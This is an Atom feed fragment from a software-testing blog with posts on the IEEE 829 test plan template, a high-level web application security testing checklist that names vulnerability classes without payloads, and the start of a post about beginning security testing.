}&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://testingsaraswat.blogspot.com/feeds/7870554390969352995/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://testingsaraswat.blogspot.com/2013/03/binary-search.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/7870554390969352995'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/7870554390969352995'/><link rel='alternate' type='text/html' href='http://testingsaraswat.blogspot.com/2013/03/binary-search.html' title='Binary Search'/><author><name>Prabhanshu saraswat</name><uri>http://www.blogger.com/profile/14945080239084113508</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSc0Pb0k2n5aoBK7AYLu4VE44djMhSmGzcISirZiB9pTB78mRMPynP1QJwDGs5ZId7tZNQFJris1HQUoyxjGV-L5PBfeCBKeKIBuThy5MmtR4rJ7yZaGTcYNydf6jQzeKBM8ugwrmgkoM/s72-c/bin+search.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6016883797447015575.post-4802558924270072206</id><published>2012-11-01T15:43:00.000+05:30</published><updated>2016-12-19T10:12:58.975+05:30</updated><title type='text'>A portrayal of Test Plan </title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwZZjyHmwdVtLYOZK8OyKd5AsLUk31zYWmbrN2WNaWlsgSRgkuxwg8kXoVhUdWYQAp-osxECBTlYcFjAqolfr6HodMqVAvpkGspm_oK6qutPF-dcBDphjDHRvXrZXAIhorTBRLPZ8Hu3w/s1600/PLan.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;264&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwZZjyHmwdVtLYOZK8OyKd5AsLUk31zYWmbrN2WNaWlsgSRgkuxwg8kXoVhUdWYQAp-osxECBTlYcFjAqolfr6HodMqVAvpkGspm_oK6qutPF-dcBDphjDHRvXrZXAIhorTBRLPZ8Hu3w/s320/PLan.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;b&gt;Test Plan:&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
Test plan is complete and concise description , which represents all processes of testing.&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
…......................................................................&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;b&gt;Aim:&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
The Aim of Test Plan is to complete all test process with on time and budget with following all defined standards&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
….......................................................................&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;b&gt;How to write a test Plan:&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
However numerous article and documents are available for Test Plan writing. This creates a lot of deliberation in brain of manager. IEEE has defined the template for test plan to reduce this.&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
…........................................................................&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;b&gt;IEEE Test Plan template 829:&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
- Test plan identifier : A unique String by which the test plan may be identified and may include version information too&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
- Introduction :&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
Summary of the test plan, including type of testing, level of testing (System test plan , component test plan, unit test plan...), any references to other documents, scope of testing and so on&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
- Test items:&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
The artefacts that will be examined during the test process.&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
- Features to be tested:&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
The features or items of the specification that will be examined&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
- Features not to be tested:&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
The features or items part of the specification that will not be examined&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
- Approach :&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
Addresses how the testing will take place during an examination of AUT.&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
- Item pass/fail criteria:&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
This could be viewed as the criteria for completion of testing per this plan.&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
- Suspension criteria and resumption requirements:&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
List the criterion for pausing or resumption of testing&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
- Test deliverable :&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
The artifacts created by the testing team that will be delivered as per this plan. Examples include - test cases, test design specifications, output from tools, test reports, etc.&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
- Testing tasks:&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
The testing tasks involved, their dependencies if any, time they will take and resource requirements&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
- Environmental needs :&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
List needs such as hardware, software and other environmental requirements for Assessment process of AUT.&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
- Responsibilities :&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
List of the people responsible for the various parts of the plan.&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
- Staffing and training needs:&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
The people &amp;amp; skill sets needed to carry out the test activities&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
- Schedule :&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
List the schedule dates when testing will take place. Also, list all the test activities according to time and date.&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
- Risks and contingencies:&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
Identify the risks, likelihood and impact as well as possible mitigation steps&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
- Approvals :&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
Sign-off by the stakeholders, denoting agreement etc.&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
…............................................................................&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;b&gt;Key Notes.&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;b&gt;Key Point to consider First for Preparation of Test Plan.&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
Staff day cost estimation and break down of a task by discipline.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
Work plan strategy.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
Schedule&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
Cost estimation( including travelling and others extra wages )&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
Personal Assignments.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
Deliverable.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
Communication responsibilities.&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
…................................................&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;b&gt;Key points to Resource Management Plan.&lt;/b&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
Resource Planing details&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
Data information.&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
…................................................&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;b&gt;The key point of care for budgeting.&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
Ability and absence of data.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
Public and use of assets.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
A number of internal and external issues.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
Location&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
Training&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
…................................................&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;b&gt;Process for prioritising Management area.&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
Cost share opportunity for resource management process preparation&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
Public user / User conflicts&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
Economical budget&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
management responsibility.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
Cultural and natural Resource protection&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
Existing land issue..&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
…................................................&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;b&gt;Remedy Plans:&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi499sVkG2-sRO19jyWTEXHjoTPrN3yvKTZb3n6ccqdUtdy2yOBOU7Djn7XdcbRvB9R2b8ynEat4JeeCNX24oNMspLpCOm9FFC7oN7XYsKStVutFqLH67ZDJgEUFI8gvWY8d_FGLcC-10E/s1600/remedy.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi499sVkG2-sRO19jyWTEXHjoTPrN3yvKTZb3n6ccqdUtdy2yOBOU7Djn7XdcbRvB9R2b8ynEat4JeeCNX24oNMspLpCOm9FFC7oN7XYsKStVutFqLH67ZDJgEUFI8gvWY8d_FGLcC-10E/s1600/remedy.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
Management must plan for Disasters with application . Some time risk and contingencies are properly mitigated but plan does not pay for its outcome. Since then managers have a healing option with such situations. This kind of plan always be hidden and specific. Also they must have best option for optimized result.&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://testingsaraswat.blogspot.com/feeds/4802558924270072206/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://testingsaraswat.blogspot.com/2012/11/a-portrayal-of-test-plan.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/4802558924270072206'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/4802558924270072206'/><link rel='alternate' type='text/html' href='http://testingsaraswat.blogspot.com/2012/11/a-portrayal-of-test-plan.html' title='A portrayal of Test Plan '/><author><name>Prabhanshu saraswat</name><uri>http://www.blogger.com/profile/14945080239084113508</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwZZjyHmwdVtLYOZK8OyKd5AsLUk31zYWmbrN2WNaWlsgSRgkuxwg8kXoVhUdWYQAp-osxECBTlYcFjAqolfr6HodMqVAvpkGspm_oK6qutPF-dcBDphjDHRvXrZXAIhorTBRLPZ8Hu3w/s72-c/PLan.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6016883797447015575.post-7378859585202499175</id><published>2012-09-14T15:29:00.003+05:30</published><updated>2016-12-19T10:19:05.835+05:30</updated><title type='text'>Security testing checklist for application</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;div align=&quot;CENTER&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div align=&quot;CENTER&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
1-Information gathering&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Search engine discovered application&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;Spider, web application crawlers and robot.&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Test for finger print.&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
2-Configuration management.&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
SSL/TLS testing.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Infrastructure configuration/interface.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Testing for file extensions.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Testing for HTTP methods.&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
3-Authentication testing&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Testing for users enumeration.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Testing for guessable user account.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Brute force testing.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Testing for bypass authentication.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Testing for logout browsers cache management.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Testing for forgot&amp;amp;reset password.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Testing for CAPTCHA.&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
4-Session testing&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Testing for cookies.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Testing for session management.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Testing for CSRF.&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
5-Authorisation.&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Testing for path traversal.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Testing for bypass authorisation.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Testing for privilage escalation.&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
6-Buissiness logic&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Testing for logic.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Testing for store reflected XSS.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Testing for store XSS.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Testing for DOM XSS.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Testing for SQL INJECTION.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Testing for cross site flashing.&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
7-Data validation testing&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
LDAP injection.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
ORM injection.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Ssi injection.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
CODE injection.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
HTTP smugling.&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
8-Denial of sevice&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Testing for SQL wildcard.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Attack.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Locking customer account.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Failure to release resource.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Storing too much data in session.&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://testingsaraswat.blogspot.com/feeds/7378859585202499175/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://testingsaraswat.blogspot.com/2012/09/security-testing-checklist-for.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/7378859585202499175'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/7378859585202499175'/><link rel='alternate' type='text/html' href='http://testingsaraswat.blogspot.com/2012/09/security-testing-checklist-for.html' title='Security testing checklist for application'/><author><name>Prabhanshu saraswat</name><uri>http://www.blogger.com/profile/14945080239084113508</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6016883797447015575.post-2882803674616742315</id><published>2012-09-13T17:48:00.001+05:30</published><updated>2016-12-22T15:21:30.551+05:30</updated><title type='text'>SECURITY TESTING from Start</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Testing of an application; learn defined its own (respect to application)value. We learned each thing from real world. Real world has given us a concept, be sure before execution. However it is a total a different concept that how much security should provide.&lt;/div&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Most of the site are vulnerable, No one is sure in real world ; how can you assure that your sites are secure. Hence we must focus on basics of an application security.&lt;/div&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Security takes place with the initial development of an application as a developer start to develop an application. Must focus on weakness of its application.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUunQo9IBo2mg74WA2YjMlXtl_aNQCAcYqKbF8AGZztLel7-yzPJ9cYdQFIgm8kn0wMO2Lpj8Fv00u4OUC_mFWJtUxLqZxf3kChdxWpYCrUZQJZI1xtXp8SlGPWkyDlRzclAITQrabtlc/s1600/Sec.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;238&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUunQo9IBo2mg74WA2YjMlXtl_aNQCAcYqKbF8AGZztLel7-yzPJ9cYdQFIgm8kn0wMO2Lpj8Fv00u4OUC_mFWJtUxLqZxf3kChdxWpYCrUZQJZI1xtXp8SlGPWkyDlRzclAITQrabtlc/s320/Sec.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
I have just started to learn security of application with my team. Demand was really ambitious, team was looking for stealing data, Hijacking application etc. A tough task to hijack an application~brain was denying. The hijacking of application! hijacking is not security testing. However, we accept to start working to hack. Ultimately, we get success.&lt;/div&gt;
